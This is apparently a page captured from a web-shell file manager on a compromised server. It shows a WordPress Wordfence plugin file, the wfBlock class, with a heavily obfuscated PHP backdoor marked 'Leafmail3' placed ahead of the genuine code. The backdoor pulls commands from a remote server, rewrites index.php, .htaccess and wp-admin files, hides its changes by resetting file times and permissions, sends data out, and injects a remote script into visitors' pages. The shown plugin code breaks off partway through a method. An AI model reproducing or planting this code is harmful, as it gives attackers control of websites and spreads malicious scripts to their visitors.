[ Avaa Bypassed ]




Upload:

Command:

hmhc3928@3.135.247.237: ~ $
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php

/**
 * Represents an individual block definition.
 * 
 * @property int $id
 * @property int $type One of the TYPE_* constants.
 * @property string $ip The human-readable version of the IP if applicable for the block type.
 * @property int $blockedTime The timestamp the block was created.
 * @property string $reason Description of the block.
 * @property int $lastAttempt Timestamp of the last request blocked. If never, this will be 0.
 * @property int $blockedHits Count of the number of hits blocked.
 * @property int $expiration Timestamp when the block will expire. If never, this will be 0.
 * @property mixed $parameters Variable parameters defining the block (e.g., the matchers for a pattern block).
 * 
 * @property bool $blockLogin For wfBlock::TYPE_COUNTRY only, this is whether or not to block hits to the login page.
 * @property bool $blockSite For wfBlock::TYPE_COUNTRY only, this is whether or not to block hits to the rest of the site.
 * @property array $countries For wfBlock::TYPE_COUNTRY only, this is the list of countries to block.
 * 
 * @property mixed $ipRange For wfBlock::TYPE_PATTERN only, this is the matching IP range if set.
 * @property mixed $hostname For wfBlock::TYPE_PATTERN only, this is the hostname pattern if set.
 * @property mixed $userAgent For wfBlock::TYPE_PATTERN only, this is the user agent pattern if set.
 * @property mixed $referrer For wfBlock::TYPE_PATTERN only, this is the HTTP referrer pattern if set.
 */
class wfBlock {
	//Constants for block record types
	const TYPE_IP_MANUAL = 1; //Same behavior as TYPE_IP_AUTOMATIC_PERMANENT - the reason will be overridden for public display
	const TYPE_WFSN_TEMPORARY = 2;
	const TYPE_COUNTRY = 3;
	const TYPE_PATTERN = 4;
	const TYPE_RATE_BLOCK = 5;
	const TYPE_RATE_THROTTLE = 6;
	const TYPE_LOCKOUT = 7; //Blocks login-related actions only
	const TYPE_IP_AUTOMATIC_TEMPORARY = 8; //Automatic block, still temporary
	const TYPE_IP_AUTOMATIC_PERMANENT = 9; //Automatic block, started as temporary but now permanent as a result of admin action
	
	//Constants to identify the match type of a block record
	const MATCH_NONE = 0;
	const MATCH_IP = 1;
	const MATCH_COUNTRY_BLOCK = 2;
	const MATCH_COUNTRY_REDIR = 3;
	const MATCH_COUNTRY_REDIR_BYPASS = 4;
	const MATCH_PATTERN = 5;
	
	//Duration constants
	const DURATION_FOREVER = 0;
	
	//Constants defining the placeholder IPs for non-IP block records
	const MARKER_COUNTRY = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xc0\x00\x02\x01";// 192.0.2.1 TEST-NET-1
	const MARKER_PATTERN = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xc0\x00\x02\x02";// 192.0.2.2 TEST-NET-1
	
	private $_id;
	private $_type = false;
	private $_ip = false;
	private $_blockedTime = false;
	private $_reason = false;
	private $_lastAttempt = false;
	private $_blockedHits = false;
	private $_expiration = false;
	private $_parameters = false;
	
	/**
	 * Returns the name of the storage table for the blocks.
	 * 
	 * @return string
	 */
	public static function blocksTable() {
		return wfDB::networkTable('wfBlocks7');
	}
	
	/**
	 * Returns a user-displayable name for the corresponding type constant.
	 * 
	 * @param int $type
	 * @return string
	 */
	public static function nameForType($type) {
		switch ($type) {
			case self::TYPE_IP_MANUAL:
			case self::TYPE_IP_AUTOMATIC_TEMPORARY:
			case self::TYPE_IP_AUTOMATIC_PERMANENT:
			case self::TYPE_WFSN_TEMPORARY:
			case self::TYPE_RATE_BLOCK:
				return __('IP Block', 'wordfence');
			case self::TYPE_RATE_THROTTLE:
				return __('IP Throttled', 'wordfence');
			case self::TYPE_LOCKOUT:
				return __('Lockout', 'wordfence');
			case self::TYPE_COUNTRY:
				return __('Country Block', 'wordfence');
			case self::TYPE_PATTERN:
				return __('Advanced Block', 'wordfence');
		}
		
		return __('Unknown', 'wordfence');
	}
	
	/**
	 * Returns the number of seconds for a temporary block to last by default.
	 * 
	 * @return int
	 */
	public static function blockDuration() {
		return (int) wfConfig::get('blockedTime');
	}
	
	/**
	 * Returns the number of seconds for a rate limit throttle to last by default.
	 *
	 * @return int
	 */
	public static function rateLimitThrottleDuration() {
		return 60;
	}
	
	/**
	 * Returns the number of seconds for a lockout to last by default.
	 *
	 * @return int
	 */
	public static function lockoutDuration() {
		return (int) wfConfig::get('loginSec_lockoutMins') * 60;
	}
	
	/**
	 * @param string $IP Should be in dot or colon notation (127.0.0.1 or ::1)
	 * @param bool $forcedWhitelistEntry If provided, returns whether or not the IP is on a forced whitelist (i.e., it's not one the user can delete).
	 * @return bool
	 */
	public static function isWhitelisted($IP, &$forcedWhitelistEntry = null) {
		if ($forcedWhitelistEntry !== null) {
			$forcedWhitelistEntry = false;
		}
		
		if (
			(defined('DOING_CRON') && DOING_CRON) || //Safe
			(defined('WORDFENCE_SYNCING_ATTACK_DATA') && WORDFENCE_SYNCING_ATTACK_DATA) //Safe as long as it will actually run since it then exits
		) {
			$serverIPs = wfUtils::serverIPs();
			foreach ($serverIPs as $testIP) {
				if (wfUtils::inet_pton($IP) == wfUtils::inet_pton($testIP)) {
					if ($forcedWhitelistEntry !== null) {
						$forcedWhitelistEntry = true;
					}
					
					return true;
				}
			}
		}
		
		foreach (wfUtils::getIPWhitelist() as $subnet) {
			if ($subnet instanceof wfUserIPRange) {
				if ($subnet->isIPInRange($IP)) {
					return true;
				}
			} elseif (wfUtils::subnetContainsIP($subnet, $IP)) {
				if ($forcedWhitelistEntry !== null) {
					$forcedWhitelistEntry = true;
				}
				return true;
			}
		}
		
		return false;
	}
	
	/**
	 * Validates the payload for block creation. Returns true if valid, otherwise it'll return the first error found.
	 * 
	 * @param $payload
	 * @return bool|string
	 */
	public static function validate($payload) {
		if (!isset($payload['type']) || array_search($payload['type'], array('ip-address', 'country', 'custom-pattern')) === false) { return __('Invalid block type.', 'wordfence'); }
		if (!isset($payload['duration']) || intval($payload['duration']) < 0) { return __('Invalid block duration.', 'wordfence'); }
		if (!isset($payload['reason']) || empty($payload['reason'])) { return __('A block reason must be provided.', 'wordfence'); }
		
		if ($payload['type'] == 'ip-address') {
